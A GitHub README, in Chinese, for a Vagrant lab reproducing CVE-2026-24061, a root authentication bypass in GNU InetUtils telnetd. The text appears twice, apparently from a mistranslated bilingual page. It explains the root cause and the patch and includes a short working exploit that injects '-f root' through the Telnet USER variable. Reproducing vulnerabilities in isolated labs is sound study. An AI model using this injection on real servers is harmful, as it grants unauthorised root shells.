akpmarcelin/CVE-2026-24061-lab
GitHub: akpmarcelin/CVE-2026-24061-lab
基于 Vagrant 搭建的 CVE-2026-24061 漏洞复现实验环境,用于演示 GNU InetUtils telnetd 因 USER 变量未过滤导致的身份验证绕过问题。
Stars: 0 | Forks: 0
# CVE-2026-24061 — 复现实验环境
*[Français ci-dessous](#cve-2026-24061--lab-de-démonstration)*
## 概述
GNU InetUtils telnetd ≤ 2.7 中存在严重的身份验证绕过漏洞 (CVSS 9.8)。
通过 Telnet NEW_ENVIRON 选项将 `-f root` 作为 USER 变量注入,
未经身份验证的攻击者无需任何密码即可获得 root shell。
## 根本原因
在 Telnet 协商期间从客户端接收到的 USER 变量,
未经任何清理便被直接传递给 `/usr/bin/login`:
```
/usr/bin/login -p -f root
```
`-f` 标志会指示 `login` 跳过指定用户的密码验证。
此行为在 RFC 1572(第 7 节)中被记录为已知风险 —— 然而,
该漏洞在 inetutils 中已存在超过十年。
## 受影响版本
GNU InetUtils telnetd 1.9.3 至 2.7
## 补丁
升级至 GNU InetUtils ≥ 2.7-2
## 实验环境搭建
本实验环境使用 **Vagrant** 来配置一个运行存在漏洞版本的 telnetd(从源码编译的 inetutils 2.5)的真实隔离 VM,
使其尽可能接近真实环境。
**前提条件:** 您的机器上需安装 Vagrant + VirtualBox。
```
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
```
VM 启动后的 IP 为 `192.168.56.10`,telnetd 监听 23 端口。

## 漏洞利用
从您的主机执行:
```
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
```
USER 变量在协商阶段(即出现登录提示之前)通过 NEW_ENVIRON Telnet 选项进行注入。


## 参考
- [NVD — CVE-2026-24061](https://nvd.nist.gov/vuln/detail/CVE-2026-24061)
- [RFC 1572 — Telnet Environment Option](https://www.rfc-editor.org/rfc/rfc1572)
- [GNU InetUtils source — telnetd/sys_term.c](https://codeberg.org/inetutils/inetutils/src/tag/v2.5/telnetd/sys_term.c)
## 作者
Agokoli
# CVE-2026-24061 — 演示实验环境
*[English above](#cve-2026-24061--reproduction-lab)*
## 概述
GNU InetUtils telnetd ≤ 2.7 中存在严重的身份验证绕过漏洞 (CVSS 9.8)。
通过 Telnet NEW_ENVIRON 选项将 `-f root` 作为 USER 变量注入,
未经身份验证的攻击者无需任何密码即可获得 root shell。
## 根本原因
在 Telnet 协商期间从客户端接收到的 USER 变量,
未经任何验证便被直接传递给 `/usr/bin/login`:
```
/usr/bin/login -p -f root
```
`-f` 标志会指示 `login` 跳过指定用户的密码验证。
此风险在 RFC 1572(第 7 节)中已有记录 —— 然而,
该漏洞在 inetutils 中已存在超过十年。
## 受影响版本
GNU InetUtils telnetd 1.9.3 至 2.7
## 补丁
升级至 GNU InetUtils ≥ 2.7-2
## 实验环境搭建
本实验环境使用 **Vagrant** 来配置一个运行存在漏洞版本的 telnetd(从源码编译的 inetutils 2.5)的真实隔离 VM,
使其尽可能接近真实环境。
**前提条件:** 您的机器上需安装 Vagrant + VirtualBox。
```
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
```
VM 启动后的 IP 为 `192.168.56.10`,telnetd 监听 23 端口。

## 漏洞利用
从您的主机执行:
```
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
```
USER 变量在协商阶段(即出现 `login:` 提示之前)通过 NEW_ENVIRON Telnet 选项进行注入。


## 参考
- [NVD — CVE-2026-24061](https://nvd.nist.gov/vuln/detail/CVE-2026-24061)
- [RFC 1572 — Telnet Environment Option](https://www.rfc-editor.org/rfc/rfc1572)
- [GNU InetUtils source — telnetd/sys_term.c](https://codeberg.org/inetutils/inetutils/src/tag/v2.5/telnetd/sys_term.c)
## 作者
Agokoli
标签:CISA项目, Telnet, Vagrant, 免杀, 漏洞复现, 漏洞环境, 身份验证绕过, 配置修复